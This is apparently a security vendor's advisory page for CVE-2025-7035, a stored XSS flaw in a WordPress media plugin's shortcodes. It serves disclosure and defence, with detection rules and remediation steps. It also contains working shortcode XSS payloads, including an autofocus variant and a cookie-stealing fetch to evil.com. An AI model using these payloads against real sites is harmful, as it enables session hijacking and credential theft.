CVE-2025-7035
Executive Summary
CVE-2025-7035 is a Stored Cross-Site Scripting (XSS) vulnerability in the Media Library Assistant plugin for WordPress. The flaw resides in the mla_tag_cloud and mla_term_list shortcodes, which fail to properly sanitize user-supplied attributes and escape output. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts. When a victim (including administrators) visits a page containing the injected shortcode, the script executes in the context of the victim's browser, potentially leading to session hijacking, credential theft, or defacement.
This vulnerability affects all versions up to and including 3.26. No official patch has been released at the time of analysis. The CVSS score is 6.4 (Medium), but the actual risk is elevated due to the stored nature of the attack and the prevalence of WordPress installations.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory. Users are advised to monitor the plugin's page for updates and apply patches immediately upon release. No known supply chain compromise has been identified.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
- User Interaction (UI): Required (R) – A victim must visit the compromised page.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: Medium (6.4) – However, due to the stored XSS nature and the widespread use of WordPress, the real-world risk is higher.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS in WordPress shortcodes. The mla_tag_cloud and mla_term_list shortcodes are used to display tag clouds and term lists. They accept various attributes (e.g., taxonomy, number, orderby, link, class, etc.) to customize the output.
The plugin fails to sanitize and escape these attributes before rendering them in the HTML. An attacker with contributor-level access can create a post or page and insert a shortcode like:
[mla_tag_cloud class="test\" onmouseover=\"alert(1)\""]
When the shortcode is processed, the class attribute is injected directly into the HTML without proper escaping. The resulting HTML might look like:
<div class="test" onmouseover="alert(1)">...</div>
Any user who hovers over the tag cloud will trigger the XSS. The attack can be made persistent by storing the malicious shortcode in a post or page.
Vulnerable vs. Patched Code
Vulnerable Code (simplified example from plugin):
// In mla_tag_cloud shortcode handler
$class = $atts['class'];
echo '<div class="' . $class . '">';
Patched Code (expected fix):
// Properly escape the attribute
$class = esc_attr($atts['class']);
echo '<div class="' . $class . '">';
The fix involves using WordPress's built-in esc_attr() function to escape HTML attribute values, and esc_html() for content. The plugin should also validate that attributes contain only expected characters.
Exploitation & Lab Setup
Red Team (Exploitation)
- Prerequisites: WordPress instance with Media Library Assistant plugin <= 3.26, an account with contributor-level privileges.
- Craft Payload: Create a post or page with a malicious shortcode. Example:
This payload uses[mla_tag_cloud class="x\" onfocus=\"alert(document.cookie)\" autofocus=\"autofocus\""]onfocusandautofocusto trigger the XSS without user interaction. - Publish: Publish the post/page.
- Trigger: When an administrator or any user visits the page, the script executes.
Alternative payload using mla_term_list:
[mla_term_list taxonomy="category" link="javascript:alert('XSS')"]
Blue Team (Detection & Hardening)
- Immediate Mitigation: Disable the plugin until a patch is available.
- Web Application Firewall (WAF): Create rules to block shortcodes containing suspicious attributes (e.g.,
on*,javascript:). - Input Validation: Use a WordPress security plugin that scans for malicious shortcodes.
- User Education: Restrict contributor-level access to trusted users only.
Indicators of Compromise (IOCs)
- File-based: Look for posts/pages containing shortcodes with
on*event handlers orjavascript:URIs in attributes. - Log-based: Web server logs showing requests to pages with
mla_tag_cloudormla_term_listshortcodes containing suspicious patterns. - Network-based: Outbound connections from the WordPress server to unknown IPs (if the XSS payload exfiltrates data).
Example IOC in post content:
[mla_tag_cloud class="x\" onfocus=\"fetch('https://evil.com/steal?c='+document.cookie)\" autofocus=\"autofocus\""]
Detection Engineering
YARA Rule
rule Detect_MLA_Stored_XSS {
meta:
description = "Detects stored XSS payloads targeting Media Library Assistant plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-7035"
strings:
$shortcode1 = "mla_tag_cloud"
$shortcode2 = "mla_term_list"
$xss_pattern1 = /on\w+\s*=\s*["'][^"']*["']/i
$xss_pattern2 = /javascript\s*:/i
condition:
(any of ($shortcode*) and any of ($xss_pattern*))
}
Sigma Rule
title: Stored XSS via Media Library Assistant Shortcodes
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts using mla_tag_cloud or mla_term_list shortcodes
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-7035
logsource:
category: webserver
product: apache
service: httpd
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- 'mla_tag_cloud'
- 'mla_term_list'
cs-uri-query|re:
- 'on\w+=["\']'
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of shortcodes with benign attributes
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-7035 - Stored XSS in Media Library Assistant"; flow:to_server,established; content:"mla_tag_cloud"; http_uri; nocase; pcre:"/on\w+\s*=\s*[\x22\x27][^\x22\x27]*[\x22\x27]/i"; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-7035 - Stored XSS in Media Library Assistant"; flow:to_server,established; content:"mla_term_list"; http_uri; nocase; pcre:"/on\w+\s*=\s*[\x22\x27][^\x22\x27]*[\x22\x27]/i"; sid:1000002; rev:1;)
Remediation & Mitigation
- Immediate: Disable the Media Library Assistant plugin until a patched version is released.
- Short-term: Implement a WAF rule to block shortcodes with suspicious attributes.
- Long-term: Apply the official patch from the plugin vendor as soon as it becomes available. Monitor the plugin's WordPress.org page for updates.
- Alternative: If the plugin is critical, consider forking and applying the fix manually (escape attributes using
esc_attr()andesc_html()).
Valters IT – Securing digital ecosystems, one CVE at a time.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.